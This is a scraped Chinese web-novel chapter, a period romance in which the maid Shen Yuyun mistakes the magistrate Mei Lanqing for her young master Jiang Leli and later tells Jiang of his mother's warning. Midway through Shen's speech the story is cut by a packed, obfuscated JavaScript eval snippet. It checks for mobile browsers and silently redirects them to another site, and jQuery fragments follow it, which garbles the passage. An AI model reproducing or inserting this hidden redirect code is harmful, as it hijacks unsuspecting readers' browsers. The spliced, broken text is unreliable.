默认冷灰
24号文字
方正启体

2. 安抚

作者:幻丹青本书字数:K更新时间:
    眼前人唇不点而朱,眉目如画,肤色白皙,温其如玉。竟长了张比小郎君颜色还好的脸!


    沈玉蕴也曾是官家娘子,不是没有见过好模样的儿郎,在她看来,小郎君的模样已算十分俊美,一出街便总有些胆大的小娘子一不小心摔倒在小郎君怀里,或是一不小心从楼上掉个馥郁盈人的香囊下来。


    与小郎君的温柔和煦不同,眼前人的眸子像是深不可见的潭水。若说一人看起来深不可测,那他定然会给人心机深沉之感,可这人却并非如此。


    他身着一袭青色直?,一头乌发只用木簪固定,身形挺拔恰如袖口衣摆处绣的翠竹,气象高旷,身上透着一股被雪沁过的清傲来,如雪中翠筱,严寒难抵,节纵孤高。


    沈玉蕴怔了许久,这才回过神来,发觉竟是自己认错了人,忙松开了手,一时也有些窘迫,行礼道:“奴婢认错了人,愿郎君恕罪。”


    那人一双平静如海的眸子却起了波澜,他紧蹙眉头,似乎并未听沈玉蕴在说什么,而是牢牢盯着她的脸,眼中流露出些许眷恋来。


    沈玉蕴确定她未曾见过此人,这么好的模样,她若见过,定然会留有印象。


    可这人看她的眼神却无比奇怪,像极了久别重逢。


    沈玉蕴心下慌乱,随意找了个借口便要请辞,那人见她要走,反过来攥住了她纤细的手腕:“你......”


    “梅兄,你怎么还在这里?”


    是小郎君的声音!


    沈玉蕴像是看到了救星,趁那人分神之际,使了力气挣开了他的手,跑到了江乐黎身后。


    “小郎君......”


    江乐黎刚来时只隐隐看见梅兄和一个丫鬟打扮的女子在桥上,他所在位置看不见他们二人的动作,也看不见沈玉蕴的脸。是以看到沈玉蕴向他跑来时他还有些惊讶。


    但沈玉蕴见到他时分明是一副看到救星的表情,眼睛还红红的,平日里聪慧稳重的人此刻神色慌张,而梅澜清神色如常。


    猜想到某种可能,江乐黎脸色沉了沉,却并未直接发作,只是顺势将沈玉蕴挡在身后,问道:“玉蕴是我的贴身丫鬟,梅兄这是......”


    梅澜清早已掩住刚才的失态,眼神在他们俩之间转了转,面色如常道:“江小郎君误会了。某只是迷了路,想找一人问一问,却不成想正好碰到这丫鬟在哭,这才多说了几句话。”


    梅澜清的话有理有据,江乐黎已信了大半,却还是侧过身用眼神询问沈玉蕴。见沈玉蕴点了点头,江乐黎这才松了口气。


    “是我急躁,差点误会了梅兄,一会儿去前厅向梅兄赔罪。”


    梅澜清态度依旧冷淡:“无妨。”


    梅澜清是江乐黎在回明州的路上结识的,是即将上任的宁县知县,两人一路相谈甚欢,恰好他新上任要来拜访明州知州,两人便一路同行。


    江乐黎也知道梅澜清对学术之外的事都甚是冷淡,因此也没多想,只叫来个小厮给梅澜清带路,说自己随后就到。


    梅澜清顿首,眼神却不动声色往江乐黎身后扫了扫,见那人一直垂着头,这才跟着小厮离开。


    江乐黎要跟着父亲接待梅澜清,本应该跟着梅澜清一起去前厅,但刚听梅澜清说沈玉蕴似乎是在哭,心中有些担忧,这才想着留一会儿安抚她几句。


    “这会儿我要随父亲招待梅兄,等晚上我回去,细细听你的委屈。”


    沈玉蕴垂着的头终于抬起来,依旧红着眼睛:“嗯。”


    沈玉蕴本就生的可怜,这么一哭,就像是一株被雨淋湿的兰花,惹人垂怜。江乐黎见她如此,心中也有些不好受,吩咐道:“院子里其他的活儿让彩明和云霁做,你好好休息,莫要再哭了。”


    见沈玉蕴应允,他这才放心去了前院。


    三人相谈甚欢,知州江景熹也对这个新任宁县知县颇为赞赏,见他一袭青衫,腰间并无任何贵重饰品,只系有一布料并不华贵的香囊,可见并非富贵之人。


    只是梅澜清小小年纪便进退有度,为人称赞而不骄,被人敲打也不馁,面对他这个知州,身上并无半分窘迫之态,更无一丝谄媚之姿。


    在谈笑之中,江景熹有时竟恍惚觉得他是听教的那位。这份气度胸怀,倒是与那位如今任参知政事的萧副相有些许相似。


    待江乐黎回到听雨院,已月上柳梢。几位大丫鬟们有的忙着给他端来已煮好的醒酒汤,有的给他换衣,有的吩咐人给他打来水洗沐。


    折腾了一番后,江乐黎将人遣走,只留下沈玉蕴。


    沈玉蕴还未想好要怎么开口说今日之事,却见江乐黎眉眼含笑的从屋内拿出一个包装精美的匣子,一打开,里面赫然是一个以青绿色为主的点翠蝴蝶珠花簪。


    “这是我在汴京那边最有名的珠花铺子里挑的,听掌柜的说卖的很好,特地带给你。”


    那簪子上有点翠的绿叶,三朵桃花层层叠叠,每一片花瓣都恰到好处,最高处是翡翠缀珍珠的蝴蝶,用绿色丝线将细颈缠绕在主干上,摇晃时蝴蝶仿佛振翅欲飞,栩栩如生。


    沈玉蕴心中暗叹汴京果然繁华,单一发簪也能做的如此精美,想来定是价格不菲。


    她思量了会儿,没收发簪:“阿玉无功,不敢受赏。”


    “你收着便是。”江乐黎向前一步,不由分说的将簪子插入她发间,见那翠色的蝶在她乌黑亮丽的鬓上煽动翅膀,觉得可爱至极,忍不住轻轻笑了。


    过了会儿,像是欣赏够了,江乐黎将目光落回她眉眼上,问道:“今日发生了何时?怎么哭了?”


    沈玉蕴的思绪从发簪上收回来,却又垂了头不说话。


    江乐黎无声的叹了口气。他知道沈玉蕴家中曾遭祸事,也知道她刚入府时曾受过其他丫鬟欺凌,才养成了这副受了委屈不敢说的怯弱模样。


    他曾告诉过沈玉蕴不必如此小心翼翼,要像云霁那般没心没肺一些,即便闯下了祸事他也担得。这两年间她也的确看着活泼开朗了些,可也只是一些。


    但每次见她受了委屈,缩成小小的一团啜泣不语的时候,他所有责怪的话都尽数卡在喉咙里,怎么也出不来。


    他又放柔了语气:“到底怎么了?”


    沈玉蕴从袖袋中拿出一个质地极好的白玉镯,交到江乐黎手上:“今日大娘子叫奴婢去,问了小郎君院子里的情况,还说......


    她抬头看他,恰好一滴泪从眼眶掉落,“还说小郎君要说亲了,要奴婢帮忙看着小郎君身边有没有蓄意勾引之人,给了奴婢这个玉镯。


    奴婢惶恐,回来后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141205|196346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想了又想,实在没有管束小郎君的资格,烦请小郎君将镯子还给大娘子吧。”


    江乐黎一听,哪还有不懂的?


    怕是他母亲从谁的口中听说了他和玉蕴的事,专门来敲打玉蕴。虽然他的确对玉蕴有意,但他自问平日里和玉蕴相处未曾逾矩半分。


    且他了解自己的母亲,既然已经把人叫了去,恐怕说的话远不止这些。


    怪不得她今日看着那般难过,刚才也迟迟不肯开口。他母亲治家甚严,府中的下人在主子面前说其他主子的不好,便属于搬弄是非。


    若他不了解他的母亲,恐怕也会觉得玉蕴这番话是在挑拨母子关系,对她心生芥蒂。


    想到是眼前如此娇弱的人受了两面委屈,江乐黎的心难受的似被蚂蚁啃食,他皱眉安慰道:“你受委屈了。只是我母亲对我一向关心心切,这才说了那番话。她是名门贵女出身,性格难免高傲些,本性却不坏。


    今日之事你不要放在心里,我暂时不会娶妻。等科考完后我便带你出府,到时母亲自然管不到我们身上。”


    沈玉蕴听懂了他话里的意思。只要她暂时忍耐,等科考后他就纳了她。


    她心中暂且松了口气,抬头冲他笑:“玉蕴明白了。”


    江乐黎见她如此懂事聪慧,心里一片温软,强忍着将她纳进怀里的冲动,命她给他绞干头发。


    沈玉蕴这才注意到他的头发还是湿漉漉的,一下慌了神,连忙拿来巾帕给他擦头发,一边说道:“还好云霁姐姐不在,不然又要骂我了。”


    江乐黎笑了声,眉眼间尽是放松:“放心,我护着你。”


    沈玉蕴只浅浅笑了,没答话,屋内一时安静下来。


    沈玉蕴看见江乐黎在昏黄烛光下干净出尘的脸,蓦然想起今日在桥上,那人看向她晦涩的目光。


    她随意问道:“今日桥上找奴婢问路的那位郎君是何人?”


    她擦头发的动作很轻柔,江乐黎有些昏昏欲睡,却还是耐心回道:“那是明州宁县新上任的知县,名梅澜清,今年科举一甲十四名。


    我听舅舅说大家都觉得可惜,此人在殿试前就因诗赋写的好闻名远近,是以众人都以为他能考进前三甲。”


    “不过梅兄对此倒是不甚在意。在路途中他还曾劝过我,若是家境殷实,最好不要累于仕途。


    我瞧着他把功名是真当作浮云了,说不定他还真是故意考的差一些,只想做个地方官拿点俸禄补贴家用。”


    梅澜清。


    这三个字配上那人寒潭般的双眼倒也算契合,无端给人一种清冷感。


    沈玉蕴想着,手上动作却未停,等他说完才道:“还真是个奇怪的人。”


    江乐黎睁开眼,被烛火映得亮晶晶的眸子直直盯着沈玉蕴看,似是借着天黑看不太清,他眼中的情意一览无余。


    “阿玉,你觉得我若去科考,能得多少名?”


    沈玉蕴动作一顿,思索了会儿道:“小郎君天资聪颖,依玉蕴看,应当要考个状元的。不过小郎君模样长得好,说不定会被点为探花郎呢。奴婢没见过探花郎,但想来也不会比小郎君更好看了。”


    江乐黎忽然攥住了一直在眼前晃的细白的腕子,神色认真道:“好。等我考个状元回来给阿玉报喜。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)